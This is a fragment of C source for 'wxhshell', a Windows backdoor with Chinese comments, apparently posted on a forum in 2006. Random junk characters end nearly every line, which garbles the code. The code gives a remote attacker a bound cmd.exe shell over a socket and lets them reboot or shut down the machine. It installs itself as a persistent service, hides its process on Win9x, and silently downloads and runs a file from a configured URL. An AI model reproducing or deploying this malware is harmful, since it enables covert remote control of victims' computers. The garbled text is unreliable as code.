      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); fu"#C}{  
    break; q% 2cx@c  
  } &X }GJLC3  
  // 安装 ~\6Kq`Y  
  case 'i': { x?y)a9&Hm  
    if(Install()) 6"/cz~h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n2Q~fx<6%  
    else CcG{+-= H)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "+~La{ POc  
    break; 71Q-_Hi  
    } DUFfk6#X}  
  // 卸载 {OXKXRCa  
  case 'r': { =hjff/ X  
    if(Uninstall()) )C|[j@MD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3#!}W#xv  
    else Akb#1Ww4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,W'`rCxJ  
    break; ! c4pFQB  
    } "6[fqW65  
  // 显示 wxhshell 所在路径 5k)/SAU0  
  case 'p': { ~Uz,%zU#3  
    char svExeFile[MAX_PATH]; B>AmH%f/  
    strcpy(svExeFile,"\n\r"); [D=ba=r0X  
      strcat(svExeFile,ExeFile); j(AN] g:  
        send(wsh,svExeFile,strlen(svExeFile),0); xRuAt/aC  
    break; iOYC1QFi?  
    } mG*[5?=r  
  // 重启 o $7:*jU  
  case 'b': { ifHQ2Ug 9  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #/=s74.b  
    if(Boot(REBOOT)) V\5ZRLawP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @A GM=v  
    else { *I:^g  
    closesocket(wsh); BGh1hyJ8d  
    ExitThread(0); \vjIw{   
    } 3WHj|ENW  
    break; x\z* iv  
    } k?zw4S  
  // 关机 W|XW2`3p  
  case 'd': { 7O',X Y  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8eCC =Az:  
    if(Boot(SHUTDOWN)) UFr ]$m&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qRlS^=#  
    else { >> yK_yg  
    closesocket(wsh); F%Oy4*4  
    ExitThread(0); OuWG.Za  
    } ]q~ _  
    break; G6]W'Kk  
    } pN|BtrN{  
  // 获取shell X,DG2HT  
  case 's': { 7jPPN  
    CmdShell(wsh); #;4<dDVy  
    closesocket(wsh); D"UCe7  
    ExitThread(0); l6] :Zcd0  
    break; l.[S.@\=.  
  } SM;UNIRVE  
  // 退出 wK>a&`<  
  case 'x': { 0eP7efy  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <]1Z  
    CloseIt(wsh); T?B753I  
    break; 0' j/ 9vm  
    } -9W)|toWb"  
  // 离开 O~D>F*_^j  
  case 'q': { .K%1{`.|  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Wwo'pke  
    closesocket(wsh); >|Yr14?7  
    WSACleanup(); xvn@zi  
    exit(1); j]Y`L?!Q  
    break; 82d~>i%T  
        } WD.td  
  } hilgl<UF  
  } <~s{&cL!%#  
Vcjmj  
  // 提示信息 r I)Y W0  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E "9`  
} t*J *?Ma  
  } XLQt>y)  
Fq>tl 64A  
  return; $o}Ao@WkO  
} <Cv 6wC=  
p8gm=  
// shell模块句柄 R2K{vs  
int CmdShell(SOCKET sock) B'[FnJ8~  
{ 5A Fy6Ab  
STARTUPINFO si; ,, S]_S  
ZeroMemory(&si,sizeof(si)); ^phgNzD  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; qrdA4S  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \; #T.@c5  
PROCESS_INFORMATION ProcessInfo; iwM$U( 9  
char cmdline[]="cmd"; J[0o 6  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); r2!\Ts5v  
  return 0; H 5\k`7R  
} hJ|zX  
gu:8+/W8L  
// 自身启动模式 -]hk2Q0  
int StartFromService(void) my1FW,3  
{ U0X,g(2'  
typedef struct K3g<NC  
{ Y8l 8B>  
  DWORD ExitStatus; Vd%%lv{v  
  DWORD PebBaseAddress; ~F; ~  
  DWORD AffinityMask; dbVMG-z8  
  DWORD BasePriority; ou V%*<Ki  
  ULONG UniqueProcessId; B=!&rKF  
  ULONG InheritedFromUniqueProcessId; % )o'9  
}   PROCESS_BASIC_INFORMATION; IZ2(F,{o  
YL[n85l>1  
PROCNTQSIP NtQueryInformationProcess; ?F=^& v8  
*.F^`]yz  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1 >}x9D  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; b9Fd}WZz  
X>-|px$vy  
  HANDLE             hProcess; n VNz5B  
  PROCESS_BASIC_INFORMATION pbi; ."X}A t  
xOY %14%Y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); t,P_&0X  
  if(NULL == hInst ) return 0; mc FSWmq  
p<[gzmU9\b  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); E^K<b7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \mo NpKf  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); IJ[r!&PY  
(D5sJ$&E@\  
  if (!NtQueryInformationProcess) return 0; cVb&Jzd  
b aO ^Z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); a%g|E'\Jw  
  if(!hProcess) return 0; O-uno{Fd*  
_ZMAlC*$G  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; L|hoA9/]  
NP#6'eH\  
  CloseHandle(hProcess); Q%T[&A}3B  
84U?\f@u  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); V vFMpPi  
if(hProcess==NULL) return 0; ahoXQ8c:\}  
D,hZVKa  
HMODULE hMod; 'zo] f  
char procName[255]; 4-r5C5o,W  
unsigned long cbNeeded; =Ts5\1sc>  
o(L8 -F  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |$:y8H'J  
{wL30D^  
  CloseHandle(hProcess); |^09ny|  
s;!_'1pi@  
if(strstr(procName,"services")) return 1; // 以服务启动 OL%KAEnD  
fFe{oR   
  return 0; // 注册表启动 (,`R>Dk  
} d8!yV~Ka  
$S6%a9m   
// 主模块 gfr+`4H>v  
int StartWxhshell(LPSTR lpCmdLine) (/ qOY  
{ x$L(!ZDh  
  SOCKET wsl; (&osR|/Tq  
BOOL val=TRUE; jL6ZHEi#d7  
  int port=0; _TbQjE&6  
  struct sockaddr_in door; >}7Ml  
'qy LQ:6  
  if(wscfg.ws_autoins) Install(); o'?[6B>oj  
Kg;u.4.-M  
port=atoi(lpCmdLine); h<0&|s*a)  
4roqD;5|~|  
if(port<=0) port=wscfg.ws_port; iwVsq_[]L  
FL|\D  
  WSADATA data; MW|*Z{6*  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; BB9+d"Sq  
:3N&&]  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   p!Xn iY  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); QWQJSz5  
  door.sin_family = AF_INET; YZdV0 -S  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); (~IoRhp^  
  door.sin_port = htons(port); 7cQFH@SC  
[C^&iLX/F*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^h?]$P  
closesocket(wsl); pf8M0,AY  
return 1; (ebC80M  
} `EdZ  
eHl)/='  
  if(listen(wsl,2) == INVALID_SOCKET) { U_KCN09  
closesocket(wsl); p}e1!q;N  
return 1; J`[v u4  
} [X"pOz  
  Wxhshell(wsl); YwizA}a#  
  WSACleanup(); %o  
<p5?yF  
return 0; 4K(oOxc9.  
}.k*4Vw#Wt  
} IzI2w6a  
4Q17vCC*n  
// 以NT服务方式启动 Y a/+|mv  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \=&F\EV  
{ M/a40uK  
DWORD   status = 0; L/c`t7  
  DWORD   specificError = 0xfffffff; /6{P ?)]pE  
aN?^vW<  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?RPVd8PUhN  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; =1r!'<"h  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,CxIA^  
  serviceStatus.dwWin32ExitCode     = 0; 90Bn}@t=Q  
  serviceStatus.dwServiceSpecificExitCode = 0; IgyoBfj\d  
  serviceStatus.dwCheckPoint       = 0; 5q,ZH6\ {  
  serviceStatus.dwWaitHint       = 0; 6>NK2} `  
){I!orQ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "$#<+H>O  
  if (hServiceStatusHandle==0) return; A4{p(MS5  
91\Sb:>  
status = GetLastError(); oJ.5! Kg  
  if (status!=NO_ERROR) #ZyY(S1.  
{ Zg&o][T  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 6Z#$(oC  
    serviceStatus.dwCheckPoint       = 0; G0Y]-*1  
    serviceStatus.dwWaitHint       = 0; q|ZzGEj:OV  
    serviceStatus.dwWin32ExitCode     = status; V\nj7Gr:sF  
    serviceStatus.dwServiceSpecificExitCode = specificError; 8pXqgIbmb  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); >&YUV.mLY  
    return; tjg?zlj  
  } XGb*LY+Db6  
Ws/\ lD  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; lj /IN[U/  
  serviceStatus.dwCheckPoint       = 0; QAzwNXE+  
  serviceStatus.dwWaitHint       = 0; POI|#[-V  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); U1;&G  
} z7_h$v  
uk9!rE"  
// 处理NT服务事件,比如:启动、停止 7 -S?U~s  
VOID WINAPI NTServiceHandler(DWORD fdwControl) +z|@K=d#|  
{ e'A 1%g)  
switch(fdwControl) #h}a   
{ ;_ S D W  
case SERVICE_CONTROL_STOP: M2Jb<y]  
  serviceStatus.dwWin32ExitCode = 0; hem>@Bp'V  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; n{I1ZlEeh  
  serviceStatus.dwCheckPoint   = 0; 7{lWg x  
  serviceStatus.dwWaitHint     = 0; : "^/?Sd  
  { %v4*$E!f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); DX_?-jw})f  
  } VA5f+c/ %  
  return; 8?hZ5QvA(j  
case SERVICE_CONTROL_PAUSE: _0|@B8!J?  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; #.{ddY{  
  break; &LYH >  
case SERVICE_CONTROL_CONTINUE: ~e _  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; W3gHz T?{  
  break; "&C>=  
case SERVICE_CONTROL_INTERROGATE: z&Xk~R*$  
  break; 0TaN#  
}; ue1g(;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); n0QHrIf{  
} b!<)x}-t>  
JAX`iQd  
// 标准应用程序主函数 \h/)un5  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) fTt\@" V  
{ VVbFn9+V  
V an=dz G  
// 获取操作系统版本 N~ajrv}kd  
OsIsNt=GetOsVer(); 'Q"Mu  
GetModuleFileName(NULL,ExeFile,MAX_PATH); O7oq1JI]Y  
uD\rmO{  
  // 从命令行安装 3 MCV?"0  
  if(strpbrk(lpCmdLine,"iI")) Install(); a@ ^)?cH!z  
biG :Xn  
  // 下载执行文件 3BSZz%va  
if(wscfg.ws_downexe) { }wZsM[NDB  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :_|Xr'n`A  
  WinExec(wscfg.ws_filenam,SW_HIDE); ojyP.R  
} d&lT/S  
Z*n4$?%W  
if(!OsIsNt) { -/:!AxIH  
// 如果时win9x,隐藏进程并且设置为注册表启动 NiYT%K%  
HideProc(); C;?<WtH  
StartWxhshell(lpCmdLine); \dbaY:(  
} ^CK D[s  
else hU3sEOm>  
  if(StartFromService()) + 2w<V0V_  
  // 以服务方式启动 m.FN ttkM  
  StartServiceCtrlDispatcher(DispatchTable); rZ&li/Z  
else WRrg5&._q  
  // 普通方式启动 hC4 M}(XM  
  StartWxhshell(lpCmdLine); nRyx2\Py+  
yeam-8  
return 0; ,Jx.Kj.,  
}
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只看该作者 1 发表于: 2006-10-10
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